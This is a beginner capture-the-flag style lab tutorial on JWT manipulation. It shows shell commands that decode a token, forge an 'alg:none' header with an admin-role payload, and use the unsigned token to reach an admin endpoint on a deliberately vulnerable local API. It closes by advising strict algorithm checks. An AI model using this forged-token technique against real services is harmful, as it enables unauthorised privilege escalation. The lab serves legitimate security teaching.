JWT Manipulation Basics

CybersecurityBeginner
Practice Now

Introduction

JSON Web Tokens (JWT) are an open standard used to share security information between two parties: a client and a server. Each JWT contains encoded JSON objects, including a set of claims. JWTs are signed using a cryptographic algorithm to ensure that the claims cannot be altered after the token is issued.

One of the most important beginner lessons here is that JWT contents are usually encoded, not encrypted. Anyone holding the token can often read the claims. The security property comes from signature verification, not secrecy.

However, improper implementation of JWT libraries can lead to severe security vulnerabilities. One of the most infamous vulnerabilities is the "None" algorithm attack. If a server supports the none algorithm, an attacker can modify the token's payload (such as changing their user role to 'admin'), set the algorithm to none, and strip the signature. The server will then accept the forged token as valid.

In this lab, you will interact with a vulnerable local API. You will learn how to extract a JWT, decode its Base64Url structure, manipulate the payload to elevate your privileges, and exploit the 'none' algorithm vulnerability to gain unauthorized admin access.

Intercept and Extract JWT

In this step, you will interact with a local API server running on your machine. The server has a login endpoint that issues a JSON Web Token (JWT) for a standard user. Your first task is to request this token and save it for further analysis.

A JWT is typically sent in the HTTP Authorization header as a Bearer token, but it is initially provided to the client upon successful authentication. We will use the curl command-line tool to simulate a login request.

Run the following command in your terminal to access the login endpoint:

curl -s http://127.0.0.1:5000/api/login

You should see a JSON response containing a long string of characters separated by two periods (.). This string is the JWT.

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.S0m3S1gn4tur3..."}

To make it easier to work with this token in subsequent steps, let's extract just the token string and save it to a file named token.txt. We can use grep with a regular expression to parse the JSON output.

Execute the following command to save the token:

curl -s http://127.0.0.1:5000/api/login | grep -oP '"token":"\K[^"]+' > token.txt

You can verify that the token was saved correctly by displaying the contents of the file:

cat token.txt

Keep this token handy, as we will dissect its structure in the next step.

Decode JWT Structure

In this step, you will break down the JWT into its core components and decode them to understand the information they carry.

A standard JWT consists of three parts separated by dots (.). The first part is the Header, which contains metadata about the token, such as the signing algorithm being used (e.g., HS256). The second part is the Payload, which contains the actual claims or data like the username, role, and expiration time. The final part is the Signature, which is used to verify that the sender of the JWT is who it says it is and to ensure that the message was not changed along the way.

This separation matters because many JWT attacks target confusion about which part can be changed safely and which part must be cryptographically protected.

The Header and Payload are encoded using Base64Url encoding. This means they are not encrypted; anyone who intercepts the token can easily decode and read the contents.

That is why sensitive authorization decisions should never rely on the claims being hidden. They must rely on the signature being validated correctly.

First, let's split the token into its Header and Payload components and save them into separate files. We will use the cut command to split the string by the . delimiter. In a JWT, the dot character separates the three sections, so cut is a quick way to peel the token apart without needing a special JWT tool.

## Extract the first part (Header)
cat token.txt | cut -d '.' -f 1 > header.b64

## Extract the second part (Payload)
cat token.txt | cut -d '.' -f 2 > payload.b64

Now, let's decode the Header. Since Base64Url encoding sometimes drops the padding characters (=) at the end, standard Base64 decoding tools might complain. For our specific header, the length is perfectly aligned, so we can decode it directly using the base64 -d command:

cat header.b64 | base64 -d

You should see an output similar to this, indicating that the token uses the HS256 algorithm:

{"alg":"HS256","typ":"JWT"}

Next, let's decode the Payload. The payload string might require padding to be successfully decoded by the standard base64 utility. We can append == to ensure it decodes properly:

echo "$(cat payload.b64)==" | base64 -d

The output will reveal the claims inside the token:

{"username":"guest","role":"user"}

Notice that your current role is set to user. If you try to access the /api/admin endpoint with this token, you will be denied access. You can test this by running:

curl -H "Authorization: Bearer $(cat token.txt)" http://127.0.0.1:5000/api/admin

The server will respond with an access denied error. In the next steps, we will manipulate these decoded parts to bypass this restriction.

Exploit 'None' Algorithm

In this step, you will prepare the first part of our attack by modifying the JWT Header to exploit the none algorithm vulnerability.

When a server verifies a JWT, it checks the alg (algorithm) field in the Header to know which cryptographic algorithm was used to create the signature. Some poorly configured JWT libraries support an algorithm called none. If an attacker changes the alg field to none, the server might skip the signature verification process entirely. This allows the attacker to modify the payload without needing the server's secret key to generate a valid signature.

Let's create a new JSON header that specifies the none algorithm.

echo -n '{"alg":"none","typ":"JWT"}' > new_header.json

Now, we need to encode this new JSON string back into Base64Url format. Base64Url is slightly different from standard Base64: it removes any trailing = padding characters, replaces + with -, and replaces / with _.

We can achieve this encoding using a combination of standard Linux commands: base64 for the initial encoding, and tr to translate and delete the specific characters.

Run the following command to encode the new header:

cat new_header.json | base64 | tr -d '=' | tr '+' '-' | tr '/' '_' | tr -d '\n' > new_header.b64

Let's verify the contents of our newly encoded header:

cat new_header.b64

You should see the following Base64Url string:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

This string represents our malicious header. By using this header, we are instructing the vulnerable API server not to validate the signature of our token.

Modify Payload Claims (Role Admin)

In this final step, you will modify the JWT payload to elevate your privileges, assemble the forged token, and use it to access the restricted admin endpoint.

Earlier, we discovered that our payload contained "role":"user". We want to change this to "role":"admin".

First, create a new JSON file containing the modified payload:

echo -n '{"username":"guest","role":"admin"}' > new_payload.json

Next, just like we did with the header, we need to encode this new payload into Base64Url format. We will use the same combination of base64 and tr commands:

cat new_payload.json | base64 | tr -d '=' | tr '+' '-' | tr '/' '_' | tr -d '\n' > new_payload.b64

You can view the encoded payload by running:

cat new_payload.b64

Now we have our malicious header (new_header.b64) and our elevated payload (new_payload.b64). The last step is to construct the final JWT.

Remember that a JWT format is Header.Payload.Signature. Since we are using the none algorithm, there is no signature. However, the server still expects the token to have three parts separated by dots. Therefore, our forged token will look like Header.Payload.. The trailing dot is important because it keeps the token in the expected three-part structure even though the signature part is empty.

Let's assemble the forged token and save it to a file:

FORGED_TOKEN="$(cat new_header.b64).$(cat new_payload.b64)."
echo -n $FORGED_TOKEN > forged_token.txt

Verify that the token looks correct:

cat forged_token.txt

Finally, it is time to test our exploit. We will send a request to the restricted /api/admin endpoint, passing our forged token in the Authorization header.

curl -H "Authorization: Bearer $(cat forged_token.txt)" http://127.0.0.1:5000/api/admin

If the exploit is successful, the server will accept the none algorithm, skip the signature check, read your role as admin, and grant you access. You should see a success message containing a secret flag!

{"message":"Welcome Admin! Flag: LABEX{JWT_M4N1PUL4T10N_M4ST3R}"}

Summary

Congratulations! You have successfully completed the JWT Manipulation Basics lab.

In this lab, you learned how to:

  • Intercept and extract JSON Web Tokens from API responses.
  • Dissect the structure of a JWT and decode its Base64Url encoded Header and Payload.
  • Understand the severe security implications of the 'none' algorithm vulnerability.
  • Manually craft a malicious JWT by altering payload claims and bypassing signature verification to achieve privilege escalation.

These skills are fundamental for understanding API security and identifying authentication flaws during penetration testing or security audits. In this lab you abused a weak verification mode by setting the algorithm to none. In other scenarios, attackers may achieve a similar outcome if they somehow learn the real signing secret and generate their own valid token. Always ensure that your applications enforce strict algorithm verification, protect signing secrets carefully, and never accept the none algorithm in production environments.